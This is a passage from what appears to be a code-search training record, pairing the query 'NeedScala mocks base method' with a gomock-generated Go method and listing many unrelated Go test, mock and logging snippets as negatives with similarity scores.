reflect.TypeOf((*MockProvider)(nil).OnServiceAdd), arg0)\n}", "func Test_DeviceService_Get_NotFoundByIp(t *testing.T) {\n\th := TestHelper{}\n\trep := new(mocks.IDeviceRepository)\n\trepAuth := new(mocks.IDeviceAuthRepository)\n\ts := h.CreateTestDeviceService(rep, repAuth)\n\n\tip := \"127.0.0.1\"\n\trep.On(\"Get\", ip).Return(models.Device{}, errors.New(\"not found\"))\n\n\t_, err := s.Get(ip)\n\tassert.Error(t, err)\n}", "func (mr *MockClientInterfaceMockRecorder) UpdateService(modified interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"UpdateService\", reflect.TypeOf((*MockClientInterface)(nil).UpdateService), modified)\n}", "func Notice(msg string, args ...interface{}) {\n\tif level&NOTICE != 0 {\n\t\twriteMessage(\"NOT\", msg, args...)\n\t}\n}", "func (m *CloudWatchLogsServiceMock) CreateNewServiceIfUnHealthy() {\n\n}", "func (_m *MockDispatchServer) mustEmbedUnimplementedDispatchServer() {\n\t_m.Called()\n}", "func (client *Client) ServiceStatus(request *ServiceStatusRequest) (response *ServiceStatusResponse, err error) {\nresponse = CreateServiceStatusResponse()\nerr = client.DoAction(request, response)\nreturn\n}", "func TestClientNotificationStorm(t *testing.T) {\n\tserver := newTestServer(\"eth\", new(NotificationTestService))\n\tdefer server.Stop()\n\n\tdoTest := func(count int, wantError bool) {\n\t\tclient := DialInProc(server)\n\t\tdefer client.Close()\n\t\tctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)\n\t\tdefer cancel()\n\n\t\t// Subscribe on the server. It will start sending many notifications\n\t\t// very quickly.\n\t\tnc := make(chan int)\n\t\tsub, err := client.EthSubscribe(ctx, nc, \"someSubscription\", count, 0)\n\t\tif err != nil {\n\t\t\tt.Fatal(\"can't subscribe:\", err)\n\t\t}\n\t\tdefer sub.Unsubscribe()\n\n\t\t// Process each notification, try to run a call in between each of them.\n\t\tfor i := 0; i < count; i++ {\n\t\t\tselect {\n\t\t\tcase val := <-nc:\n\t\t\t\tif val != i {\n\t\t\t\t\tt.Fatalf(\"(%d/%d) unexpected value %d\", i, count, val)\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\tif wantError && err != ErrSubscriptionQueueOverflow {\n\t\t\t\t\tt.Fatalf(\"(%d/%d) got error %q, want %q\", i, count, err, ErrSubscriptionQueueOverflow)\n\t\t\t\t} else if !wantError {\n\t\t\t\t\tt.Fatalf(\"(%d/%d) got unexpected error %q\", i, count, err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t\tvar r int\n\t\t\terr := client.CallContext(ctx, &r, \"eth_echo\", i)\n\t\t\tif err != nil {\n\t\t\t\tif !wantError {\n\t\t\t\t\tt.Fatalf(\"(%d/%d) call error: %v\", i, count, err)\n\t\t\t\t}\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t}\n\n\tdoTest(800, false)\n\tdoTest(1000, true)\n}", "func TestRetryNotRequired(t *testing.T) {\n\tcheck := assert.New(t)\n\tretryRequired := checkRetryRequired(http.StatusConflict)\n\tcheck.Equal(retryRequired, false)\n}", "func DefaultCheckResponseFunc(resp *http.Response) bool {\n\t// TODO: Change this from checking 200\n\tif resp.StatusCode == 200 {\n\t\treturn true\n\t}\n\n\t// If there is a server error, it's not the proxies fault, the request succeeded\n\tif resp.StatusCode >= 500 && resp.StatusCode <= 599 {\n\t\treturn true\n\t}\n\n\t// These typically indicate a failure\n\tif resp.StatusCode == 429 || resp.StatusCode == 403 {\n\t\treturn false\n\t}\n\n\t// Return true otherwise\n\treturn true\n}", "func (l *Logger) Notice(a ...interface{}) {\n\tif l.Level() >= Notice {\n\t\tl.logNotice.Print(a...)\n\t}\n}", "func (c *Client) Notice(target, f string, argv ...interface{}) error {\n\treturn c.Raw(\"NOTICE %s :%s\", target, fmt.Sprintf(f, argv...))\n}", "func (rc RequestCall) SendNotImplemented(ctx context.Context) {\n\trc.Response.SendNotImplemented()\n\n\ttelemetry.From(ctx).RegisterStatusCode(http.StatusNotImplemented)\n}", "func (mr *MockClusterClientMockRecorder) ServiceIn(ctx, in interface{}, opts ...interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\tvarargs := append([]interface{}{ctx, in}, opts...)\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ServiceIn\", reflect.TypeOf((*MockClusterClient)(nil).ServiceIn), varargs...)\n}", "func TestVerifyForged(t *testing.T) {\n\toptions := iniVerifyOptions(t)\n\toptions.CurrentTime = time.Date(2017, 02, 03, 11, 00, 00, 0, gmt)\n\n\tp := loadProxy(\"test-samples/BadForgedProxy.pem\", t)\n\tif e := p.Verify(options); e == nil {\n\t\tt.Error(\"Must have failed\")\n\t} else {\n\t\tt.Log(e)\n\t}\n}", "func (lg *Logger) Notice(args ...interface{}) {\n if lg.level <= NOTICE {\n lg.logger.SetPrefix(LEVELS[NOTICE])\n lg.logger.Println(args...)\n }\n}", "func TestReturns200IfThereAreNoChecks(t *testing.T) {\n\trecorder := httptest.NewRecorder()\n\n\treq, err := http.NewRequest(\"GET\", \"https://fakeurl.com/debug/health\", nil)\n\tif err != nil {\n\t\tt.Errorf(\"Failed to create request.\")\n\t}\n\n\tStatusHandler(recorder, req)\n\n\tif recorder.Code != 200 {\n\t\tt.Errorf(\"Did not get a 200.\")\n\t}\n}", "func (mr *MockecsClientMockRecorder) Service(app, env, svc interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Service\", reflect.TypeOf((*MockecsClient)(nil).Service), app, env, svc)\n}", "func (m *MockRemotePeer) PushTxsNotice(txHashes []types.TxID) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"PushTxsNotice\", txHashes)\n}", "func intercept(p *supervisor.Process, tele *Teleproxy) error {\n\tif os.Geteuid() != 0 {\n\t\treturn errors.New(\"ERROR: teleproxy must be run as root or suid root\")\n\t}\n\n\tsup := p.Supervisor()\n\n\tif tele.DNSIP == \"\" {\n\t\tdat, err := ioutil.ReadFile(\"/etc/resolv.conf\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfor _, line := range strings.Split(string(dat), \"\\n\") {\n\t\t\tif strings.HasPrefix(strings.TrimSpace(line), \"nameserver\") {\n\t\t\t\tfields := strings.Fields(line)\n\t\t\t\ttele.DNSIP = fields[1]\n\t\t\t\tlog.Printf(\"TPY: Automatically set -dns=%v\", tele.DNSIP)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\tif tele.DNSIP == \"\" {\n\t\treturn errors.New(\"couldn't determine dns ip from /etc/resolv.conf\")\n\t}\n\n\tif tele.FallbackIP == \"\" {\n\t\tif tele.DNSIP == \"8.8.8.8\" {\n\t\t\ttele.FallbackIP = \"8.8.4.4\"\n\t\t} else {\n\t\t\ttele.FallbackIP = \"8.8.8.8\"\n\t\t}\n\t\tlog.Printf(\"TPY: Automatically set -fallback=%v\", tele.FallbackIP)\n\t}\n\tif tele.FallbackIP == tele.DNSIP {\n\t\treturn errors.New(\"if your fallbackIP and your dnsIP are the same, you will have a dns loop\")\n\t}\n\n\ticeptor := interceptor.NewInterceptor(\"teleproxy\")\n\tapis, err := api.NewAPIServer(iceptor)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"API Server\")\n\t}\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: TranslatorWorker,\n\t\t// XXX: Requires will need to include the api server once it is changed to not bind early\n\t\tRequires: []string{ProxyWorker, DNSServerWorker},\n\t\tWork: iceptor.Work,\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: APIWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tapis.Start()\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\tapis.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: DNSServerWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tsrv := dns.Server{\n\t\t\t\tListeners: dnsListeners(p, DNSRedirPort),\n\t\t\t\tFallback: tele.FallbackIP + \":53\",\n\t\t\t\tResolve: func(domain string) string {\n\t\t\t\t\troute := iceptor.Resolve(domain)\n\t\t\t\t\tif route != nil {\n\t\t\t\t\t\treturn route.Ip\n\t\t\t\t\t}\n\t\t\t\t\treturn \"\"\n\t\t\t\t},\n\t\t\t}\n\t\t\terr := srv.Start(p)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\t// there is no srv.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: ProxyWorker,\n\t\tRequires: []string{},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\t// hmm, we may not actually need to get the original\n\t\t\t// destination, we could just forward each ip to a unique port\n\t\t\t// and either listen on that port or run port-forward\n\t\t\tproxy, err := proxy.NewProxy(fmt.Sprintf(\":%s\", ProxyRedirPort), iceptor.Destination)\n\t\t\tif err != nil {\n\t\t\t\treturn errors.Wrap(err, \"Proxy\")\n\t\t\t}\n\n\t\t\tproxy.Start(10000)\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\t\t\t// there is no proxy.Stop()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\tsup.Supervise(&supervisor.Worker{\n\t\tName: DNSConfigWorker,\n\t\tRequires: []string{TranslatorWorker},\n\t\tWork: func(p *supervisor.Process) error {\n\t\t\tbootstrap := route.Table{Name: \"bootstrap\"}\n\t\t\tbootstrap.Add(route.Route{\n\t\t\t\tIp: tele.DNSIP,\n\t\t\t\tTarget: DNSRedirPort,\n\t\t\t\tProto: \"udp\",\n\t\t\t})\n\t\t\tbootstrap.Add(route.Route{\n\t\t\t\tName: \"teleproxy\",\n\t\t\t\tIp: MagicIP,\n\t\t\t\tTarget: apis.Port(),\n\t\t\t\tProto: \"tcp\",\n\t\t\t})\n\t\t\ticeptor.Update(bootstrap)\n\n\t\t\tvar restore func()\n\t\t\tif !tele.NoSearch {\n\t\t\t\trestore = dns.OverrideSearchDomains(p, \".\")\n\t\t\t}\n\n\t\t\tp.Ready()\n\t\t\t<-p.Shutdown()\n\n\t\t\tif !tele.NoSearch {\n\t\t\t\trestore()\n\t\t\t}\n\n\t\t\tdns.Flush()\n\t\t\treturn nil\n\t\t},\n\t})\n\n\treturn nil\n}", "func (r *Record) Notice(args ...interface{}) {\n\tr.Log(NoticeLevel, args...)\n}", "func (m *MockProxyClient) ProxyEnable(ctx context.Context, in *ProxyRequestMsg, opts ...grpc.CallOption) (*ProxyResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ProxyEnable\", varargs...)\n\tret0, _ := ret[0].(*ProxyResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func Test_IndexHandler(t *testing.T) {\n\tvar (\n\t\tversionMsg Service\n\t\tresp *http.Response\n\t)\n\n\tsvc := NewService()\n\n\tts := httptest.NewServer(svc.NewRouter(\"*\"))\n\tdefer ts.Close()\n\n\treq, _ := http.NewRequest(\"GET\", ts.URL+\"/\", nil)\n\n\toutputLog := helpers.CaptureOutput(func() {\n\t\tresp, _ = http.DefaultClient.Do(req)\n\t})\n\n\tif got, want := resp.StatusCode, 200; got != want {\n\t\tt.Fatalf(\"Invalid status code, got %d but want %d\", got, want)\n\t}\n\n\tdata, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when reading body: %s\", err.Error())\n\t}\n\n\terr = json.Unmarshal(data, &versionMsg)\n\tif err != nil {\n\t\tt.Fatalf(\"Got an error when parsing json: %s\", err.Error())\n\t}\n\tif got, want := versionMsg.Version, svc.Version; got != want {\n\t\tt.Fatalf(\"Wrong version return, got %s but want %s\", got, want)\n\t}\n\tif got, want := versionMsg.Name, svc.Name; got != want {\n\t\tt.Fatalf(\"Wrong version return, got %s but want %s\", got, want)\n\t}\n\n\tmatched, err := regexp.MatchString(`uri=/ `, outputLog)\n\tif matched != true || err != nil {\n\t\tt.Fatalf(\"request is not logged :\\n%s\", outputLog)\n\t}\n}", "func (_m *MockJournal) Notify(_a0 Notifiee, _a1 Index) {\n\t_m.Called(_a0, _a1)\n}", "func (mr *MockapprunnerDescriberMockRecorder) ServiceARN() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ServiceARN\", reflect.TypeOf((*MockapprunnerDescriber)(nil).ServiceARN))\n}", "func (mr *MockRemotePeerMockRecorder) PushTxsNotice(txHashes interface{}) *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"PushTxsNotice\", reflect.TypeOf((*MockRemotePeer)(nil).PushTxsNotice), txHashes)\n}", "func TestWarn(t *testing.T) {\n\tvar data = []byte(`Log this!`)\n\tapolog.Warn(data)\n}", "func IsAlive(w http.ResponseWriter, r *http.Request) {\n\tlogger.Trace(fmt.Sprintf(\"used to mask cc %v\", r))\n\t//logger.Trace(fmt.Sprintf(\"config data %v\", config))\n\tfmt.Fprintf(w, \"ok version 1.0\")\n}", "func checkRequest(httpClient *dphttp.ClienterMock, callIndex int, expectedMethod, expectedURI string) {\n\tSo(httpClient.DoCalls()[callIndex].Req.URL.String(), ShouldEqual, expectedURI)\n\tSo(httpClient.DoCalls()[callIndex].Req.Method, ShouldEqual, expectedMethod)\n\tSo(httpClient.DoCalls()[callIndex].Req.Header.Get(dprequest.AuthHeaderKey), ShouldEqual, \"Bearer \"+testServiceToken)\n}", "func (mr *MockProxyServerMockRecorder) ProxyEnable(arg0, arg1 interface{}) *gomock.Call {\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"ProxyEnable\", reflect.TypeOf((*MockProxyServer)(nil).ProxyEnable), arg0, arg1)\n}", "func TestServiceUseCouponCode(t *testing.T) {\n\tConvey(\"TestServiceUseCouponCode\", t, func() {\n\t\tres, err := s.UseCouponCode(context.Background(), &model.ArgUseCouponCode{\n\t\t\tIP: \"\",\n\t\t\tToken: \"927a6ea6e9d64e929beadfba6d2bd491\",\n\t\t\tCode: \"sasazxcvfdsa\",\n\t\t\tVerify: \"e8z90\",\n\t\t\tMid: 1,\n\t\t})\n\t\tfmt.Println(\"res:\", res)\n\t\tSo(err, ShouldBeNil)\n\t})\n}", "func VerifyNotify(req NotifyRequest) bool {\n\tvt := reflect.TypeOf(req)\n\tvv := reflect.ValueOf(req)\n\tm := make(map[string]interface{})\n\n\tfor i := 0; i < vt.NumField(); i++ {\n\t\tf := vt.Field(i)\n\t\tname := f.Tag.Get(\"xml\")\n\t\tm[name] = vv.FieldByName(f.Name).Interface()\n\t\tlog.Printf(\"name:%s value:%v\", name, vv.FieldByName(f.Name).Interface())\n\t}\n\tsign := CalcSign(m, InquiryMerKey)\n\tif req.Sign != sign {\n\t\treturn false\n\t}\n\treturn true\n}", "func (uee *UnknownEndpointError) NotFound() {}", "func (o *OpenAPIDiscoveryNotFound) IsSuccess() bool {\n\treturn false\n}" ]
[ "0.645479", "0.54816145", "0.53735113", "0.534136", "0.53090423", "0.5141476", "0.5119912", "0.5112184", "0.5110093", "0.50769466", "0.50677824", "0.4989264", "0.4988423", "0.4911255", "0.48018447", "0.47843286", "0.4774682", "0.4772903", "0.47278747", "0.47270814", "0.47266915", "0.47198564", "0.47187585", "0.4703318", "0.46992436", "0.46950334", "0.46900764", "0.46827337", "0.46756977", "0.46508214", "0.46432257", "0.46382684", "0.4635217", "0.46325096", "0.46236902", "0.46147972", "0.46063808", "0.45970917", "0.45867485", "0.45842773", "0.45803368", "0.45802885", "0.45796087", "0.45775005", "0.4574545", "0.4570451", "0.45680153", "0.45651478", "0.45645547", "0.45597547", "0.45544738", "0.4554405", "0.4554301", "0.45525312", "0.45502853", "0.45411023", "0.45405135", "0.4539419", "0.45339817", "0.45269448", "0.45268184", "0.45264867", "0.45226645", "0.45220926", "0.45150563", "0.4514934", "0.45136985", "0.45106697", "0.45041662", "0.44975907", "0.44893628", "0.44884554", "0.4484262", "0.44827563", "0.44818288", "0.4481443", "0.44804397", "0.44801348", "0.4478423", "0.4478206", "0.44762382", "0.44733542", "0.44696194", "0.44694582", "0.4463527", "0.44609207", "0.44496918", "0.44491106", "0.44488215", "0.44465366", "0.44442105", "0.44435507", "0.44387364", "0.44358918", "0.44325003", "0.44222677", "0.44203743", "0.44183114", "0.44159544", "0.4415465" ]
0.6810621
0
NeedScala mocks base method
func (m *MockmonitorInterface) NeedScala(Traffic envoyTraffic) (bool, float64) { m.ctrl.T.Helper() ret := m.ctrl.Call(m, "NeedScala", Traffic) ret0, _ := ret[0].(bool) ret1, _ := ret[1].(float64) return ret0, ret1 }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func mockAlwaysRun() bool { return true }", "func mockedGranter(kubeutil *kube.Kube, app *v1.RadixRegistration, namespace string, serviceAccount *corev1.ServiceAccount) error {\n\treturn nil\n}", "func (m *MockFileInfo) Sys() interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Sys\")\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func mockNeverRun() bool { return false }", "func Mock(fake string) func() {\n\tmutex.Lock()\n\tdefer mutex.Unlock()\n\torigin := backend\n\tbackend = fake\n\treturn func() { Mock(origin) }\n}", "func (m *MockBuilder) Generic() resource.ClusterSnapshot {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Generic\")\n\tret0, _ := ret[0].(resource.ClusterSnapshot)\n\treturn ret0\n}", "func mockChildPackages() {\n\n\t// Fake an AWS credentials file so that the mfile package will nehave as if it is happy\n\tsetFakeCredentials()\n\n\t// Fake out the creds package into using an apparently credentials response from AWS\n\tcreds.SetGetSessionTokenFunc(func(awsService *sts.STS, input *sts.GetSessionTokenInput) (*sts.GetSessionTokenOutput, error) {\n\t\treturn getSessionTokenOutput, nil\n\t})\n\n}", "func Mock() Env {\n\treturn mock.New()\n}", "func (m *MockSystemContract) Init(arg0 core.Keepers, arg1 types1.BaseTx, arg2 uint64) core.SystemContract {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Init\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(core.SystemContract)\n\treturn ret0\n}", "func (m *MockQueryer) Handle(arg0 *http.Request) interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Handle\", arg0)\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func StartMockups() {\n\tenabledMocks = true\n}", "func TestRestOfInternalCode(t *testing.T) {\n\n\t// In this case unit testing will not help as we need to actually corever\n\t// this package with test. Because real functions hide under internal structures\n\t// which we do not expose, so our previous approach will no longer works.\n\t// Well it works but coverage does not detect that we are testing actual\n\t// implementation\n\n\t// In order to cover this part we will need to either pretend that we are\n\t// testing something or create real integration tests and ensure that mongod\n\t// process is running. In my case I will just fake my testing and do not use\n\t// assert. This way my test will pass either way\n\n\t// Create database context. I use real database, but it is possible to mock\n\t// database and configuration through interfaces.\n\tconf := config.GetConfig()\n\tclient, _ := databases.NewClient(conf)\n\tclient.StartSession()\n\n\tdb := databases.NewDatabase(conf, client)\n\tclient.Connect()\n\tdb.Client()\n\tvar result interface{}\n\t// because we do not care for actual results, we just quickly timeout the\n\t// call and we use incorrect call method\n\ttimeoutCtx, _ := context.WithTimeout(context.Background(), 1*time.Microsecond)\n\tdb.Collection(\"non-fake-existing-collection\").FindOne(timeoutCtx, \"incorrect-value\").Decode(&result)\n\n\t// insert and delete functions seems to panic instead of returning and error.\n\t// I did not investigate anything in this case as this is not our main goal.\n\t// Just define assert panic function and use this panicing function in it.\n\tvar mongoPanics assert.PanicTestFunc\n\n\tmongoPanics = func() {\n\t\tdb.Collection(\"non-fake-existing-collection\").InsertOne(timeoutCtx, result)\n\t}\n\tassert.Panics(t, mongoPanics)\n\n\tmongoPanics = func() {\n\t\tdb.Collection(\"non-fake-existing-collection\").DeleteOne(timeoutCtx, result)\n\t}\n\tassert.Panics(t, mongoPanics)\n\n\t// And it is done. We do not need to have mongo running and our code is\n\t// covered 100%. Well the actual implementation is faked, but it should be\n\t// tested via integration tests, not unit tests.\n\n}", "func (m *MockProvider) Provide(arg0 string) blobclient.Client {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Provide\", arg0)\n\tret0, _ := ret[0].(blobclient.Client)\n\treturn ret0\n}", "func (m *MockisListenResponse_Content) isListenResponse_Content() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"isListenResponse_Content\")\n}", "func (m *MockWatcherConstructor) New(arg0 Machine, arg1 string, arg2 []string, arg3, arg4, arg5 string, arg6 time.Duration, arg7 map[string]interface{}) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"New\", arg0, arg1, arg2, arg3, arg4, arg5, arg6, arg7)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockisKey_KeyInfo) isKey_KeyInfo() {\n\tm.ctrl.Call(m, \"isKey_KeyInfo\")\n}", "func (m *MockPackClient) Rebase(arg0 context.Context, arg1 client.RebaseOptions) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Rebase\", arg0, arg1)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockPodInterface) Bind(arg0 *v1.Binding) error {\n\tret := m.ctrl.Call(m, \"Bind\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockResponseHandler) NotModified() {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"NotModified\")\n}", "func (m *MockNotary) Notarize(arg0 string) (map[string]interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Notarize\", arg0)\n\tret0, _ := ret[0].(map[string]interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockSystemContract) Exec() error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Exec\")\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func TestingBase(c context.Context) Base {\n\treturn func(h Handler) httprouter.Handle {\n\t\treturn func(rw http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\t\th(c, rw, r, p)\n\t\t}\n\t}\n}", "func (m *MockStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func (m *MockVirtualServiceClient) BaseClient() clients.ResourceClient {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseClient\")\n\tret0, _ := ret[0].(clients.ResourceClient)\n\treturn ret0\n}", "func (m *MockRepositoryService) Search(arg0 http.ResponseWriter, arg1 *http.Request) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Search\", arg0, arg1)\n}", "func (m *MockClusterScoper) BaseURI() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseURI\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func NewMock(t *testing.T) *MockT { return &MockT{t: t} }", "func (m *MockSessionRunner) Retire(arg0 protocol.ConnectionID) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Retire\", arg0)\n}", "func (m *MockTaskManager) Handle(Definition *task.Definition) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Handle\", Definition)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (m *MockServiceRepositoryInterface) Request(id string) (model.Service, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Request\", id)\n\tret0, _ := ret[0].(model.Service)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (m *MockLoggerConfiguration) Implementation() interface{} {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Implementation\")\n\tret0, _ := ret[0].(interface{})\n\treturn ret0\n}", "func TestSetupReplaceMock(t *testing.T) {\n\tt.SkipNow()\n\tstudent, mocks, err := MockCluster(false, nil, t)\n\tif err != nil {\n\t\tt.Error(\"Couldn't set up mock cluster\", err)\n\t}\n\n\t// Create a new impl for an rpc function\n\tdenyVote := func(ctx context.Context, req *RequestVoteRequest) (*RequestVoteReply, error) {\n\t\treturn &RequestVoteReply{Term: req.Term, VoteGranted: false}, nil\n\t}\n\n\t// replace the existing impl\n\tmocks[0].RequestVote = denyVote\n\tmocks[1].RequestVote = denyVote\n\n\tmocks[0].JoinCluster()\n\tmocks[1].JoinCluster()\n\n\ttime.Sleep(DefaultConfig().ElectionTimeout * 4)\n\n\tt.Log(\"Student node is:\", student.State)\n\n\tif student.State != CANDIDATE_STATE {\n\t\tt.Error(\"student state was not candidate, was:\", student.State)\n\t}\n\n\t// test as part of an rpc function\n\tmocks[0].RequestVote = func(ctx context.Context, req *RequestVoteRequest) (*RequestVoteReply, error) {\n\t\tt.Logf(\"Mock 0 recieved request vote: last_idx: %v term: %v\", req.GetLastLogIndex(), req.GetLastLogTerm())\n\t\tif req.GetLastLogIndex() != 0 || req.GetLastLogTerm() != 0 {\n\t\t\tt.Errorf(\"Student node failed to request vote correctly: last_idx: %v term: %v\", req.GetLastLogIndex(), req.GetLastLogTerm())\n\t\t}\n\n\t\tif term := student.GetCurrentTerm(); req.GetTerm() != term {\n\t\t\tt.Errorf(\"Student node sent the wrong term: (sent %v, expecting %v)\", req.GetTerm(), term)\n\t\t}\n\t\treturn denyVote(ctx, req)\n\t}\n\n\ttime.Sleep(DefaultConfig().ElectionTimeout * 5)\n}", "func newMock(deps mockDependencies, t testing.TB) (Component, error) {\n\tbackupConfig := config.NewConfig(\"\", \"\", strings.NewReplacer())\n\tbackupConfig.CopyConfig(config.Datadog)\n\n\tconfig.Datadog.CopyConfig(config.NewConfig(\"mock\", \"XXXX\", strings.NewReplacer()))\n\n\tconfig.SetFeatures(t, deps.Params.Features...)\n\n\t// call InitConfig to set defaults.\n\tconfig.InitConfig(config.Datadog)\n\tc := &cfg{\n\t\tConfig: config.Datadog,\n\t}\n\n\tif !deps.Params.SetupConfig {\n\n\t\tif deps.Params.ConfFilePath != \"\" {\n\t\t\tconfig.Datadog.SetConfigType(\"yaml\")\n\t\t\terr := config.Datadog.ReadConfig(strings.NewReader(deps.Params.ConfFilePath))\n\t\t\tif err != nil {\n\t\t\t\t// The YAML was invalid, fail initialization of the mock config.\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t}\n\t} else {\n\t\twarnings, _ := setupConfig(deps)\n\t\tc.warnings = warnings\n\t}\n\n\t// Overrides are explicit and will take precedence over any other\n\t// setting\n\tfor k, v := range deps.Params.Overrides {\n\t\tconfig.Datadog.Set(k, v)\n\t}\n\n\t// swap the existing config back at the end of the test.\n\tt.Cleanup(func() { config.Datadog.CopyConfig(backupConfig) })\n\n\treturn c, nil\n}", "func (m *MockResponseWriter) Write(arg0 *types.APIRequest, arg1 int, arg2 types.APIObject) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Write\", arg0, arg1, arg2)\n}", "func (m *MockIPAMDriver) Add(arg0 *invoke.Args, arg1 *types.K8sArgs, arg2 []byte) (bool, *current.Result, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Add\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(bool)\n\tret1, _ := ret[1].(*current.Result)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "func (m *MockCommandScaffold) Use() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"Use\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockManagedClusterScoper) BaseURI() string {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"BaseURI\")\n\tret0, _ := ret[0].(string)\n\treturn ret0\n}", "func (m *MockisCryptoApiRequest_CryptoApiReq) isCryptoApiRequest_CryptoApiReq() {\n\tm.ctrl.Call(m, \"isCryptoApiRequest_CryptoApiReq\")\n}", "func (m *MockServerStreamConnection) Dispatch(buffer buffer.IoBuffer) {\n\tm.ctrl.T.Helper()\n\tm.ctrl.Call(m, \"Dispatch\", buffer)\n}", "func NewMock(path string, nodes uint, replicas uint, vbuckets uint, specs ...BucketSpec) (m *Mock, err error) {\n\tvar lsn *net.TCPListener\n\tchAccept := make(chan bool)\n\tm = &Mock{}\n\n\tdefer func() {\n\t\tclose(chAccept)\n\t\tif lsn != nil {\n\t\t\tif err := lsn.Close(); err != nil {\n\t\t\t\tlog.Printf(\"Failed to close listener: %v\", err)\n\t\t\t}\n\t\t}\n\t\texc := recover()\n\n\t\tif exc == nil {\n\t\t\t// No errors, everything is OK\n\t\t\treturn\n\t\t}\n\n\t\t// Close mock on error, destroying resources\n\t\tm.Close()\n\t\tif mExc, ok := exc.(mockError); !ok {\n\t\t\tpanic(mExc)\n\t\t} else {\n\t\t\tm = nil\n\t\t\terr = mExc\n\t\t}\n\t}()\n\n\tif lsn, err = net.ListenTCP(\"tcp\", &net.TCPAddr{Port: 0}); err != nil 